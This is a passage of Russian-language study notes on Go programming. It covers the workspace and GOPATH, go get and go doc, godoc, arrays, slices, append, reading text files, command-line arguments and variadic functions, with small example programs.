Впрочем, есть способы выполнить постоянную настройку переменной среды.

72. Публикация пакетов / конфликт подключения пакетов с одним именем


!!! В каталоге src рабочего пространства Go может быть только один каталог keyboard. 
Похоже, может быть только один пакет с именем keyboard!

Пример:
home/user
└── go
    └── src
        ├── keyboard
        │   └── keyboard.go
        ├── script
        │   └── main.go
        └── git.net
            └── keyboard
                  └── keyboard.go

Пример кода:
package main
import (
       "fmt"
       "git.net/keyboard" //Обновляем путь импорта.
       "log"
)
func main() {
           fmt.Print("Enter a grade: ")
           grade, err := keyboard.GetFloat() //Здесь ничего не изменилось: имя пакета осталось прежним.
           if err != nil {
           og.Fatal(err)
           }
         //... еще какой то код
}



73. Загрузка и установка пакетов командой "go get"

У использования URL-адреса размещения пакета в качестве пути импорта есть еще одно преимущество. 
У команды "go" существует еще одна субкоманда "go get", которая может автоматически загружать и устанавливать пакеты за вас.
Создадим репозиторий "Git" для описанного выше пакета "greeting" по следующему URL-адресу:
https://github.com/headfirstgo/greeting

Это означает, что на любом компьютере с установленным экземпляром Go необходимо ввести в терминале следующую команду:
go get github.com/headfirstgo/greeting
После команды "go get" следует URL-адрес репозитория с отсеченным сегментом «схемы» («https://»). 
Команда подключается к "github.com", загружает репозиторий "Git" по пути "/headfirstgo/greeting" и сохраняет его в каталоге "src" вашей рабочей области "Go". 
(Примечание: 
если в вашей системе не установлена поддержка "Git", вам будет предложено установить ее при выполнении команды "go get". 
Просто следуйте инструкциям на экране. 
Команда "go get" также работает с репозиториями Subversion, Mercurial и Bazaar.)

Команда "go get" автоматически создает подкаталоги, необходимые для настройки подходящего пути импорта (каталог github.com, каталог headfirstgo и т. д.).

Пакеты, сохраненные в рабочей области Go, готовы к использованию в программах. 
Например, если вы хотите использовать пакеты greeting, dansk и deutsch в программе, включите в нее директиву импорта, которая выглядит примерно так:
import ( 
       "github.com/headfirstgo/greeting" 
       "github.com/headfirstgo/greeting/dansk" 
       "github.com/headfirstgo/greeting/deutsch" 
      )

Команда go get работает также и с другими пакетами.
0. Переходим нужный каталог:
cd /home/pi/githabmegafolder/c-test/02_lesson_golang/23_goget/go
1. Экспортируем GOPATH / каталог по умолчанию для go:
export  GOPATH=$(pwd)
2. Проверить переменную GOPATH:
env | grep GOPATH
3. скачиваем пакеты:
go get github.com/headfirstgo/keyboard
go get github.com/headfirstgo/greeting

74. Чтение документации пакетов командой "go doc"

Введите команду "go doc", чтобы вывести документацию по любому пакету или функции.
Чтобы вывести документацию по пакету, передайте его путь импорта команде "go doc". 
Например, информация о пакете "strconv" выводится командой "go doc strconv".

go doc -h

go doc -u http

go doc strconv

go doc strconv ParseFloat

go doc github.com/headfirstgo/keyboard

Команда go doc старается получить полезную информацию на основании анализа кода. 
Имена пакетов и пути импорта включаются автоматически, как и имена функций, параметры и возвращаемые типы. 
И все же команда go doc не умеет творить чудеса. 
Если вы хотите, чтобы пользователи смогли узнать из документации о предназначении пакета или функции, 
придется добавить эту информацию самостоятельно.

К счастью, это делается просто: нужно добавить в код документирующие комментарии. 
Обычные комментарии Go, размещенные непосредственно перед директивой package или объявлением функции, 
считаются документирующими комментариями и включаются в вывод go doc.


При добавлении документирующих комментариев следует соблюдать ряд правил:
- Комментарии должны состоять из полноценных предложений.
- Комментарии для пакетов должны начинаться со слова "Package", за которым следует имя пакета:
// Package mypackage enables widget management.
- Комментарии для функций должны начинаться с имени функции, которую они описывают:
// MyFunction converts widgets to gizmos.
- В комментарии также можно включать примеры кода, которые должны снабжаться отступами.
- Не включайте дополнительные символы для выразительности или форматирования (кроме отступов в примерах кода). 
  Документирующие комментарии будут выводиться в виде простого текста и должны форматироваться соответствующим образом.

75. go help

go help
go help gopath
go help list

76. Запуск сервера документации HTML командой "godoc"

WEB поиск:
https://pkg.go.dev/
https://pkg.go.dev/fmt

Программа, которая обслуживает раздел документации сайта golang.org, на самом деле доступна и на вашем компьютере. 
Эта программа называется godoc (не путайте с командой go doc), и она автоматически устанавливается вместе с Go. 
Программа godoc генерирует документацию HTML на основании кода основной установки Go и вашей рабочей области. 
Она включает веб-сервер, который может передавать полученные веб-страницы браузеру. 
(Не беспокойтесь, с настройками по умолчанию godoc не будет принимать подключения с других компьютеров, кроме вашего.)
Чтобы запустить godoc в режиме веб-сервера, введите в терминале команду godoc (еще раз: не перепутайте с go doc) со специальным параметром -http=:6060.

godoc -http=:6060

После того как сервер godoc будет запущен, введите URL-адрес
http://localhost:6060/pkg



Debian
apt-get install golang-golang-x-tools

Ubuntu
apt-get install golang-golang-x-tools

Arch Linux
pacman -S golang-godoc-1
pacman -S go-tools

Kali Linux
apt-get install golang-golang-x-tools

Fedora
dnf install golang-godoc-1

Raspbian
apt-get install golang-golang-x-tools


Display help for package "fmt":
godoc fmt
Display help for the function "Printf" of "fmt" package:
godoc fmt Printf
Serve documentation as a web server on port 6060:
godoc -http=:6060
Create an index file:
godoc -write_index -index_files=path/to/file
Use the given index file to search the docs:
godoc -http=:6060 -index -index_files=path/to/file

77. Проведем промежуточные итоги

Функции
Типы
Условные команды
Циклы
Объявления decloracion
Указатели
Пакеты

00. По умолчанию рабочей областью является каталог с именем go в домашнем каталоге пользователя.

01. Чтобы использовать в качестве рабочей области другой каталог, настройте переменную среды GOPATH.

02. Go использует три подкаталога в рабочей области:
в каталоге bin хранятся откомпилированные исполняемые программы, в каталоге pkg — откомпилированный код пакетов, 
а в каталоге src — исходный код Go.

03. Имена подкаталогов каталога src формируют путь импорта пакета. 
Имена вложенных каталогов разделяются символами / в пути импорта.

04. Имя пакета определяется директивами package в начале файла с исходным кодом в каталоге пакета. 
За исключением пакета main, имя пакета должно совпадать с именем каталога, в котором он находится.

05. Имена пакетов должны записываться в нижнем регистре. 
В идеале они состоят из одного слова.

06. Функции пакета могут вызываться за пределами пакета только в том случае, если они экспортированы. 
Функция экспортируется, если ее имя начинается с буквы верхнего регистра.

07. Константой называется имя для обращения к значению, которое никогда не изменяется.

08. Команда "go install" компилирует код пакета и сохраняет его в каталоге pkg для пакетов общего назначения или в каталоге bin для исполняемых программ.

09. В качестве пути импорта пакета принято использовать URL-адрес размещения пакета. 
В этом случае команда "go get" может находить, загружать и устанавливать пакеты, зная только их путь импорта.

10. Команда "go doc" выводит документацию пакетов.
В выходные данные "go doc" включаются документирующие комментарии в коде.

78. Массивы / arrays

Многие программы работают со списками. 
Списки адресов. 
Списки телефонных номеров. 
Списки товаров.

Массив представляет собой набор значений, относящихся к одному типу. 
Представьте себе таблетницу — вы можете класть и доставать таблетки в любое отделение, 
но при этом ее удобно переносить как единое целое.


Значения, хранящиеся в массиве, называются элементами. 
Вы можете создать массив строк, массив логических значений или массив любого другого типа Go (даже массив массивов). 
Весь массив можно сохранить в одной переменной, а затем обратиться к любому нужному элементу.

В массивах хранятся наборы значений.

Массив содержит заранее заданное количество элементов, а его размер не может увеличиваться или уменьшаться. 

Чтобы объявить переменную для хранения массива, следует указать количество хранящихся в нем элементов в квадратных скобках ([]),
а затем тип элементов в массиве.

Чтобы присвоить значения элементам массива или прочитать их позднее, необходимо каким-то образом указать, какой элемент вам нужен. 
Элементы в массиве нумеруются, начиная с 0. 
Номер массива называется его индексом.

Пример массив нот:
var notes [7]string 
notes[0] = "do" 
notes[1] = "re" 
notes[2] = "mi" 
fmt.Println(notes[0]) 
fmt.Println(notes[1])

Массив целых чисел:
var primes [5]int 
primes[0] = 2 
primes[1] = 3 
fmt.Println(primes[0])

Массив значений time.Time:
var dates [3]time.Time 
dates[0] = time.Unix(1257894000, 0)
dates[1] = time.Unix(1447920000, 0) 
dates[2] = time.Unix(1508632200, 0) 
fmt.Println(dates[1])


Нулевые значения в массивах

Как и в случае с переменными, 
при создании массивов все содержащиеся в них значения инициализируются нулевым значением для типа, 
содержащегося в массиве. 
Так массив значений int по умолчанию заполняется нулями.

С другой стороны, нулевым значением для строк является пустая строка, 
так что массив строковых значений по умолчанию заполняется пустыми строками.

Нулевые значения позволяют безопасно выполнять операции с элементами массивов, даже если им не были присвоены значения. 
Например, в следующем массиве хранятся целочисленные счетчики. 
Любой элемент можно увеличить на 1 даже без предварительного присваивания значения, 
потому что мы знаем, что все значения счетчиков начинаются с 0.

var counters [3]int
counters[0]++ // Первый элемент увеличивается с 0 до 1.
counters[0]++ // Первый элемент увеличивается с 1 до 2.
counters[2]++ // Третий элемент увеличивается с 0 до 1.
fmt.Println(counters[0], counters[1], counters[2])
Вывод:
2 0 1

При создании массива все содержащиеся
в нем элементы инициализируются нулевым
значением для типа, хранящегося в массиве.

79. Литералы массивов

Если вам заранее известны значения, которые должны храниться в массиве, 
вы можете инициализировать массив этими значениями в форме литерала массива. 
Литерал массива начинается как тип массива — с количества элементов в квадратных скобках,
за которым следует тип элементов. 
Далее в фигурных скобках идет список исходных значений элементов массива. 
Значения элементов должны разделяться запятыми.

[3]int{9, 18, 27}
 |  |      |
 |  |      Список значений, разделенных запятыми.
 |  Тип элементов в массиве.
 |
 Количество элементов в массиве.


var notes [7]string = [7]string{"do", "re", "mi", "fa", "so", "la", "ti"}
fmt.Println(notes[3], notes[6], notes[0])
var primes [5]int = [5]int{2, 3, 5, 7, 11}
fmt.Println(primes[0], primes[2], primes[4])

Литералы массивов также позволяют использовать короткие объявления переменных с помощью :=.
Короткое объявление переменной.
notes := [7]string{"do", "re", "mi", "fa", "so", "la", "ti"}
primes := [5]int{2, 3, 5, 7, 11}


Литералы массивов могут распространяться на несколько строк, но перед каждым переносом строки в коде должна стоять запятая. 
Запятая даже должна стоять после последнего элемента в литерале массива, если за ним следует перенос строки. 
(На первый взгляд этот синтаксис выглядит неуклюже, но он упрощает последующее добавление новых элементов в коде.)

text := [3]string{ // Все это один массив.
"This is a series of long strings",
"which would be awkward to place",
"together on a single line", // Запятая в конце обязательна.
}


Когда вы занимаетесь отладкой кода, вам не нужно передавать элементы массивов Println
и другим функциям пакета fmt один за одним. 
Просто передайте весь массив. 
Пакет fmt содержит логику форматирования и вывода массивов. 
(Пакет fmt также умеет работать с сегментами, картами и другими структурами данных, которые будут описаны позднее.)
var notes [3]string = [3]string{"do", "re", "mi"}
var primes [5]int = [5]int{2, 3, 5, 7, 11}
fmt.Println(notes)
fmt.Println(primes)

Возможно, вы также помните глагол "%#v", используемый функциями Printf и Sprintf, — он форматирует значения так, как они отображаются в коде Go. 
При форматировании с "%#v" массивы отображаются в форме литералов массивов Go.
fmt.Printf("%#vn", notes)
fmt.Printf("%#vn", primes)

80. Обращение к элементам массива в цикле

Вы не обязаны явно записывать целочисленные индексы элементов массивов, к которым обращаетесь в своем коде. 
В качестве индекса также можно использовать значение целочисленной переменной.

notes := [7]string{"do", "re", "mi", "fa", "so", "la", "ti"}
index := 1
fmt.Println(index, notes[index]) // Выводит элемент массива с индексом 1.
index = 3
fmt.Println(index, notes[index]) // Выводит элемент массива с индексом 3.

for i := 0; i <= 2; i++ {
fmt.Println(i, notes[i])
}

При обращении к элементам массивов через переменную необходимо действовать внимательно и следить за тем, какие значения индексов используются в программе. 
Как упоминалось ранее, массивы содержат конкретное число элементов. 
Попытка обратиться к индексу за пределами массива приводит к панике — ошибке, происходящей во время выполнения программы (а не на стадии компиляции).

81. Проверка длины массива функцией "len"

Написание циклов, которые ограничиваются только правильными индексами, сопряжено с определенным риском ошибок. 
К счастью, есть пара приемов, которые упрощают этот процесс.
Во-первых, вы можете проверить фактическое количество элементов в массиве перед обращением к элементу. 
Для этого можно воспользоваться встроенной функцией len, которая возвращает длину массива (количество содержащихся в нем элементов).

notes := [7]string{"do", "re", "mi", "fa", "so", "la", "ti"}
for i := 0; i < len(notes); i++ {
fmt.Println(i, notes[i])
}

Впрочем, и здесь существует некоторый риск ошибок. 
Хотя  len(notes) возвращает наибольший индекс, к которому вы можете обращаться, 
равен 6 (потому что индексирование массивов начинается с 0, а не с 1). 
При попытке обратиться по индексу 7 возникнет ситуация паники. 

82. Безопасный перебор массивов в цикле "for...range".

В другом, еще более безопасном способе обработки всех элементов массива используется специальный цикл for...range. 
В форме с range указывается переменная для хранения целочисленного индекса каждого элемента, 
другая переменная для хранения значения самого элемента и перебираемый массив. 
Цикл выполняется по одному разу для каждого элемента в массиве; 
индекс элемента присваивается первой переменной, а значение элемента — второй переменной. 
В блок цикла включается код для обработки этих значений.


for index, value := range myArray {
// Блок цикла.
}

Эта форма цикла for не содержит запутанных выражений инициализации, условия и завершения. 
А поскольку значение элемента автоматически присваивается переменной, риск обращения к недействительному индексу массива исключен. 
Форма цикла for с range читается безопаснее и проще, поэтому именно она чаще всего  встречается при работе с массивами и другими коллекциями.

notes := [7]string{"do", "re", "mi", "fa", "so", "la", "ti"}
for index, note := range notes {
fmt.Println(index, note)
}
Цикл выполняется семь раз, по одному разу для каждого элемента в массиве notes. 
Для каждого элемента переменной index присваивается индекс элемента, 
а переменной note присваивается значение элемента. После этого мы выводим индекс и значение. 

Помните, как при вызове функции с несколькими возвращаемыми значениями мы хотели проигнорировать одно из них? 
Это значение присваивалось пустому идентификатору ( _ ), 
чтобы компилятор Go просто отбросил это значение без выдачи сообщения об ошибке...
То же самое можно проделать со значениями из циклов "for...range". 
Если вам не нужен индекс каждого элемента массива, присвойте его пустому идентификатору:

        notes := [7]string{"do", "re", "mi", "fa", "so", "la", "ti"}
        for index, note := range notes {
                fmt.Println(index, note)
        }
А если вам не нужна переменная для значения, замените ее пустым идентификатором:

83. Чтение текстового файла

Ранее мы использовали пакеты os и bufio стандартной библиотеки для чтения данных по строкам с клавиатуры. 
Те же пакеты могут использоваться и для построчного чтения данных из текстовых файлов. 

В своем любимом текстовом редакторе создайте новый файл с именем data.txt.
Запишите в файле три наших значения с плавающей точкой, по одному числу в строке.
cat > data.txt << "EOF"
71.8
56.2
89.5
EOF

Пример программы:
package main
import (
        "bufio"
        "fmt"
        "log"
        "os"
)
func main() {

        file, err := os.Open("data.txt") //Файл данных открыва
        if err != nil {
                log.Fatal(err)
        }
        scanner := bufio.NewScanner(file)
        //Цикл выполняется до того, как будет  достигнут конец  файла, а scanner.Scan вернет false
        for scanner.Scan() { //Читает строку из файла
                fmt.Println(scanner.Text()) //Выводит строку
        }
        // Если при закрытии файла произошла ошибка то сообщить о ней и завершить работу
        err = file.Close() //Закрывает файл для освобождения ресурсов.
        if err != nil {
                log.Fatal(err)
        }
        if scanner.Err() != nil {
                log.Fatal(scanner.Err())
        }
}

Наша тестовая программа readfile.go успешно читает данные из файла data.txt и выводит их. 
А теперь разберемся, как же она работает.
Сначала строка с именем открываемого файла передается функции os.Open. 
Эта функция возвращает два значения: указатель os.File, представляющий открытый файл, и значение ошибки. 
Как и в случае с другими функциями, если значение ошибки равно nil, это означает, 
что файл был открыт успешно, но любое другое значение указывает на то, 
что произошла ошибка (например, если файл отсутствует или не читается). 
В таком случае программа выводит сообщение об ошибке и завершается.


84. Чтение текстового файла в массив

Пример кода:
// Пакет datafile предназначен для чтения данных из файлов.
//package datafile
package main

import (
        "fmt"
        "bufio"
        "os"
        "strconv"
)

// GetFloats читает значение float64 из каждой строки файла. ошибку.
func GetFloats(fileName string) ([3]float64, error) {
        var numbers [3]float64 // Объявление возвращаемого массива.

        file, err := os.Open(fileName) //Открывает файл с переданным именем.
        if err != nil {
                return numbers, err
        }

        i := 0 //Переменная для хранения индекса, по которому должно выполняться присваивание

        scanner := bufio.NewScanner(file)
        for scanner.Scan() {
                numbers[i], err = strconv.ParseFloat(scanner.Text(), 64)

                if err != nil {
                        return numbers, err
                }
                i++ //Переход к следующему индексу массива.
        }

        err = file.Close()
        if err != nil {
                return numbers, err
        }

        if scanner.Err() != nil {
                return numbers, scanner.Err()
        }
        return numbers, nil //Если выполнение дошло до этой точки, значит, ошибок не было, поэтому программа возвращает массив чисел и значение ошибки «nil          ».
}

func main() {
        fileName := "data.txt"
        fmt.Println("Hello readfile")
        fmt.Println(GetFloats(fileName))
}

85. Чтение файла и выполнение программы average. Еще один пример:

//average вычисляет среднее значение
package main

import (
        "bufio"
        "fmt"
        "os"
        "strconv"
        "log"
)

// GetFloats читает значение float64 из каждой строки файла. ошибку.
func GetFloats(fileName string) ([3]float64, error) {
        var numbers [3]float64 // Объявление возвращаемого массива.

        file, err := os.Open(fileName) //Открывает файл с переданным именем.
        if err != nil {
                return numbers, err
        }

        i := 0 //Переменная для хранения индекса, по которому должно выполняться присваивание

        scanner := bufio.NewScanner(file)
        for scanner.Scan() {
                numbers[i], err = strconv.ParseFloat(scanner.Text(), 64)

                if err != nil {
                        return numbers, err
                }
                i++ //Переход к следующему индексу массива.
        }

        err = file.Close()
        if err != nil {
                return numbers, err
        }

        if scanner.Err() != nil {
                return numbers, scanner.Err()
        }
        return numbers, nil //Если выполнение дошло до этой точки, значит, ошибок не было, поэтому программа возвращает массив чисел и значение ошибки «nil».
}

func main() {
        filename := "data.txt"
        numbers, err := GetFloats(filename)
        if err != nil {
                log.Fatal(err)
        }
        var sum float64 = 0
        for _, number := range numbers {
                sum += number
        }
        sampleCount := float64(len(numbers))
        fmt.Printf("Average: %0.2fn", sum/sampleCount)
}

Наша программа может обрабатывать только три значения!

cat > data1.txt << "EOF"
71.8
56.2
89.5
99.3
EOF

Пример ошибки:
panic: runtime error: index out of range [3] with length 3
goroutine 1 [running]:
main.GetFloats(0xd5676, 0x9, 0x0, 0x0, 0x0, 0x4d458, 0x162060)
        /home/pi/githabmegafolder/c-test/02_lesson_golang/25_file/02_averange.go:25 +0x2e4
main.main()
        /home/pi/githabmegafolder/c-test/02_lesson_golang/25_file/02_averange.go:46 +0x34
exit status 2

86. Промежуточные итоги:

Массивы:
Массив является списком значений определенного типа.
Каждое значение, хранимое в массиве, называется элементом массива.
Массив содержит фиксированное количество элементов.
Не существует возможности легко добавить новые элементы в массив.

Ключевые моменты:
- Чтобы объявить переменную-массив, 
укажите длину массива в квадратных скобках и тип хранящихся в нем элементов:
var myArray [3]int

- Чтобы прочитать или присвоить значение элемента массива, укажите его индекс в квадратных скобках. 
Индексы начинаются с 0, поэтому первый элемент myArray обозначается myArray[0].

- Как и переменные, по умолчанию все элементы массива инициализируются нулевым значением для типа элемента.

- Элементы массива можно инициализировать в момент создания; 
для этого используется литерал массива:
[3]int{4, 9, 6}

- Если сохранить недопустимый индекс массива в переменной, 
а потом попытаться обратиться к элементу с использованием этой переменной в
качестве индекса, возникнет ситуация паники — ошибка времени выполнения.

- Для получения количества элементов в массиве используется встроенная функция len.
Все элементы массива можно удобно обработать в специальном синтаксисе цикла "for... range". 
Этот цикл перебирает все элементы и присваивает индекс и значение каждого элемента указанным вами переменным.

- При использовании цикла "for...range" можно игнорировать индекс или значение каждого элемента при помощи пустого идентификатора _.

- Функция os.Open открывает файл. Она возвращает указатель на значение os.File, представляющее открытый файл.

- При передаче значения os.File функции bufio.NewScanner возвращается значение bufio.Scanner. 
Его методы Scan и Text используются для последовательного чтения файла по строкам.


87. Сегменты

Вы уже знаете, что в массив нельзя добавить новые элементы.
В нашей программе это создает настоящие проблемы, потому что количество значений данных в файле неизвестно заранее. 
На помощь приходят сегменты Go.

Сегменты — разновидность коллекций, которые могут расширяться для хранения дополнительных элементов; а это как раз то, что нужно! 

Оказывается, в Go существует структура данных, в которую можно добавлять новые значения, — она называется сегментом. 
Как и массив, сегмент состоит из нескольких элементов, относящихся к одному типу. 
В отличие от массивов, существуют функции, позволяющие добавлять новые элементы в конец сегмента.

Отличие сегмента от массива:
Фактически это уже знакомый синтаксис объявления массива, только без указания размера.
var myArray [5]int // Массив — обратите  внимание на размер.
var mySlice []int  // Сегмент — размер не задан


В отличие от переменных для массивов, объявление переменной для сегмента не приводит к автоматическому созданию сегмента.
Для этого следует вызвать встроенную функцию make. 
Функции передается тип создаваемого сегмента (он должен соответствовать типу переменной, которой вы собираетесь присвоить сегмент)
и длина сегмента при создании.

Пример:
        var notes []string
        notes = make([]string, 7)
        notes[0] = "do"
        notes[1] = "re"
        notes[2] = "mi"
        fmt.Println(notes[2])
        fmt.Println(notes[0])

Пример:
        pr := make([]int, 5)
        pr[0] = 99
        pr[4] = 200
        fmt.Println("pr[4] - pr[0] = ", pr[4]-pr[0])


Встроенная функция len для сегментов работает так же, как и для массивов.
Передайте len сегмент, и функция вернет его длину в виде целого числа.
Пример:
        notes := make([]string, 7)
        primers := make([]int, 5)
        fmt.Println(len(notes))
        fmt.Println(len(primers))

Циклы "for" и "for...range" работают с сегментами точно так же, как и с массивами:
Пример:
        letters := []string{"a", "b", "c"}
        for i := 0; i < len(letters); i++ {
                fmt.Println(letters[i])
        }
        fmt.Println(" ")
        for _, letter := range letters {
                fmt.Println(letter)
        }


88. Литералы сегментов

Как и с массивами, если вы заранее знаете, какими значениями должен быть заполнен сегмент в исходном
состоянии, то можете инициализировать сегмент этими значениями при помощи литерала сегмента.
Литерал сегмента очень похож на литерал массива, но если литерал массива содержит длину массива в квадратных скобках, 
у литерала сегмента квадратные скобки пусты. 
За пустыми скобками следует тип элементов, которые будут храниться в сегменте, и список исходных значений всех элементов, заключенный в фигурные скобки.
Вызывать функцию make необязательно, при использовании литерала сегмента ваш код создаст сегмент и заполнит его.

Сегмент:
 []int{9, 18, 27}
 |  |     |
 |  |     Список значений, разделенных запятыми.
 |  Тип элементов в сегменте
 Пустая пара квадратных скобок


Пример:
notes := []string{"do", "re", "mi", "fa", "so", "la", "ti"} //Значения присваиваются с помощью литерала сегмента.
fmt.Println(notes[3], notes[6], notes[0])
primes := []int{ //  Многострочный литерал сегмента.
2,
3,
5,
}
fmt.Println(primes[0], primes[1], primes[2])

Погодите! 
Похоже, что сегменты могут делать все, что делают массивы, и в них можно добавлять элементы. 
Тогда почему бы не ограничиться сегментами и не забыть про эту ерунду с массивами?
!!! Потому что сегменты построены на основе массивов.
!!! И вы не сможете понять, как работают сегменты, не понимая массивы. 

Каждый массив существует на основе базового массива. 
Данные сегмента на самом деле хранятся в базовом массиве, а сегмент всего лишь предоставляет «окно» для работы с некоторыми (или всеми) элементами массива.
Когда вы используете функцию make или литерал сегмента для создания сегмента, 
базовый массив при этом создается автоматически (и вы не можете обратиться к нему иначе как через сегмент). 
Но вы также можете создать массив самостоятельно, а затем создать сегмент на основе этого массива при помощи оператора сегмента.

Пример:
        underlyingArray := [5]string{"a", "b", "c", "d", "e"}
        slice1 := underlyingArray[0:3]
        fmt.Println(slice1)

Пример: 
        underlyingArray := [5]string{"a", "b", "c", "d", "e"}
        i, j := 1, 4
        slice2 := underlyingArray[i:j]
        fmt.Println(slice2)

У оператора сегмента предусмотрены значения по умолчанию как для начального, так и для конечного индексов. 
Если начальный индекс не указан, будет использовано значение 0  позиции.
Пример:
        underlyingArray := [5]string{"a", "b", "c", "d", "e"}
        slice4 := underlyingArray[:3]
        fmt.Println(slice4)

А если не указан конечный индекс, то в сегмент включаются элементы от начального индекса и до конца базового завершается.
Пример:
        underlyingArray := [5]string{"a", "b", "c", "d", "e"}
        slice5 := underlyingArray[1:]
        fmt.Println(slice5)


89. Базовые массивы

Как упоминалось ранее, сам сегмент не содержит данных, это всего лишь «окно» для просмотра элементов базового массива.
Сегмент можно представить себе как микроскоп, направленный на определенную часть предметного стекла (базовый массив).

Когда вы берете сегмент базового массива, то «видите» только ту часть элементов массива, которая видна через этот сегмент.

Несколько сегментов могут существовать на основе одного базового массива.
В этом случае каждый сегмент становится «окном» для отдельного подмножества элементов массива. Сегменты даже могут перекрываться!

Присваивание нового значения элементу сегмента приводит к изменению соответствующего элемента в базовом массиве.

Если на один и тот же базовый массив указывают несколько сегментов, то и изменения элементов массива будут видны во всех сегментах.

Из-за этих потенциальных проблем обычно рекомендуется создавать сегменты с использованием make или литерала
сегмента (вместо того, чтобы создать массив и применять к нему оператор сегмента). 
С make и литералами сегментов вам никогда не приходится иметь дела с базовым массивом.

90. Расширение сегментов функцией "append"

В Go существует встроенная функция append, которая получает сегмент и одно или несколько значений, 
которые присоединяются в конец сегмента. 
Функция возвращает но вый, расширенный сегмент со всеми элементами исходного сегмента и новыми элементами, добавленными в его конец.

Пример:
        slice := []string{"a", "b"}
        fmt.Println(slice, len(slice))
        slice = append(slice, "c")
        fmt.Println(slice, len(slice))
        slice = append(slice, "d", "e")
        fmt.Println(slice, len(slice))


Вам не нужно следить за тем, по какому индексу присваиваются новые значения, или за чем-нибудь еще! 
Просто вызовите функцию append и передайте ей сегмент со значениями, которые добавляются в конец сегмента, 
и вы получите новый расширенный сегмент. 
Да, так просто!


Обратите внимание: возвращаемое значение append во всех случаях присваивается той же переменной сегмента, 
которая передается append. 
Таким образом предотвращается возможность непоследовательного поведения сегментов, возвращаемых append.

Базовый массив сегмента не может увеличиваться в размерах. 
Если в массиве не остается места для добавления элементов, все элементы копируются в новый, больший массив, а сегмент обновляется, 
чтобы он базировался на новом массиве. 
Но поскольку все это происходит где-то за кулисами внутри функции append, невозможно простым способом определить, 
имеет ли возвращенный сегмент тот же базовый массив, как и переданный сегмент, или другой. 
Если в программе будут оставаться оба сегмента, это может привести к непредсказуемому поведению.

Пример:
       s1 := []string{"s1", "s1"}
       s2 := append(s1, "s2", "s2")
       s3 := append(s2, "s3", "s3")
       s4 := append(s3, "s4", "s4")
       fmt.Println(s1, s2, s3, s4)
       s4[0] = "XX"
       fmt.Println(s1, s2, s3, s4)

По этой причине при вызове append возвращаемое значение обычно присваивается той же переменной сегмента, которая была передана append. 
Если в программе хранится только один сегмент, то вам не придется беспокоиться о том, используют ли два сегмента один базовый массив!
Пример:
        s1 := []string{"s1", "s1"}
        s1 = append(s1, "s2", "s2")
        s1 = append(s1, "s3", "s3")
        s1 = append(s1, "s4", "s4")
        fmt.Println(s1)

91. Сегменты и нулевые значения

Как и в случае с массивами, при обращении к элементу сегмента, которому не было присвоено значение, вы получите нулевое значение для этого типа.
Пример:
        floatSlice := make([]float64, 10)
        boolSlice := make([]bool, 10)
        fmt.Println(floatSlice[9], boolSlice[5])

Пример:
        var intSlice []int
        var stringSlice []string
        fmt.Printf("intSlice: %#v, stringSlice: %#vn", intSlice, stringSlice)

92. Аргументы командной строки

cd /home/user
|      |
|      аргумент
команда

cd  -l  /home/user
|   |       |
|   |       второй аргумент
|   первый аргумент
команда

93. Получение аргументов командной строки из сегмента os.Args

Пример:
package main
import (
        "fmt"
        "os"
)
func main() {
        fmt.Println(os.Args)
}


94. Использование аргументов командной строки в программе

// average2 вычисляет среднее значение.
// use: go run 01_average2.go 50 10 55 66 99 45 22 33 100
package main
import (
        "fmt"
        "log"
        "os"
        "strconv"
)
func main() {
        arguments := os.Args[1:]
        var sum float64 = 0
        for _, argument := range arguments {
                number, err := strconv.ParseFloat(argument, 64)
                if err != nil {
                        log.Fatal(err)
                }
                sum += number //Число прибавляется к сумме
        }
        sampleCount := float64(len(arguments))
        fmt.Printf("Average: %0.2fn", sum/sampleCount) //Вычисление среднего значения
}


95. Функции с переменным количеством аргументов

После знакомства с сегментами мы можем рассмотреть одну возможность Go, которая до сих пор явно не упоминалась. 
Вы заметили, что при некоторых вызовах функций может передаваться разное количество аргументов? 
Например, взгляните на функцию fmt.Println или append.
        fmt.Println(1)
        fmt.Println(1, 2, 3, 4, 5)
        letters := []string{"a"}
        letters = append(letters, "b")
        letters = append(letters, "c", "d", "e", "f", "g")
        fmt.Println(letters)

Как же это делают функции Println и append? Они объявляются как функции с переменным количеством параметров. 
Таким функциям при вызове может передаваться разное количество аргументов. 
Чтобы функция могла получать переменное количество аргументов, поставьте многоточие (...) перед типом 
последнего (или единственного) параметра функции в ее объявлении.

Пример:
func myFunc(param1 int, param2 ...string) {
// код функции                  |    |
}                               |    тип
                                многоточие
Пример:
package main
import "fmt"
func severalInts(numbers ...int) {
        fmt.Println(numbers)
}
func main() {
        severalInts(1)
        severalInts(1, 2, 3)
}

Функция также может получать один или несколько фиксированных аргументов. 
Если при вызове переменную часть аргументов можно опускать (что приведет к созданию пустого сегмента), 
фиксированные аргументы всегда обязательны, если опустить их, произойдет ошибка компиляции. 
Переменным может быть только последний параметр в определении функции, 
он не может предшествовать обязательным параметрам.

func mix(num int, flag bool, strings ...string) {
        fmt.Println(num, flag, strings)
}
func main() {
        mix(1, true, "a", "b")
        mix(2, false, "a", "b", "c", "d")
}

96. Использование функций с переменным количеством аргументов (inRange, maximum)

Пример:
package main
import (
        "fmt"
        "math"
)
func maximum(numbers ...float64) float64 { //Получаем любое количесво аргументов float64
        max := math.Inf(-1) //начинаем с очень низского значения
        for _, number := range numbers {
                if number > max {
                        max = number
                }
        }
        return max
}
func main() {
        fmt.Println(maximum(71.8, 56.2, 89.5))
        fmt.Println(maximum(90.7, 89.8, 98.3, 99.2))


Пример:
package main
import "fmt"
func inRange(min float64, max float64, numbers ...float64) []float64 {
        var result []float64
        for _, number := range numbers {
                if number >= min && number <= max {
                        result = append(result, number)
                }
        }
        return result
}
func main() {
        fmt.Println(inRange(1, 100, -12.5, 4.2, 0, 50, 100.3)) // Поиск аргументов от 1 до 100 (задают первые два числа
        fmt.Println(inRange(-10, 10, 4.1, 12, -12, -5.2))      //Поиск аргументов от -10 до 10 (задают первые два числа)

97. Подведем итоги:

Массивы
Массив является списком значений определенного типа.
Каждое значение, хранимое в массиве называется элементом массива.
Массив содержит фиксированное количество элементов

Сегменты
Сегмент также представляет собой список элементов определенного типа,
но в отличии от массивов, у них предусмотрена возможность добавления и удаление элементов.
Сегмент не содержит данных сам по себе. Сегмент является всего лишь "окном" для работы
с элементами базового массива.

Ключевые моменты:
- Тип переменной-сегмента объявляется так же, как и тип переменной-массива, но без указания длины:
var mySlice []int
- В основном код работы с сегментами идентичен коду работы с массивами. 
В частности, это относится к обращению к элементам, использованию нулевых значений, 
передаче сегментов функции len и циклам "for...range".
- Литерал сегмента выглядит точно так же, как литерал массива, но без указания длины:
[]int{1, 7, 10}
- Для получения сегмента, содержащего элементы с i по j - 1 массива или сегмента, 
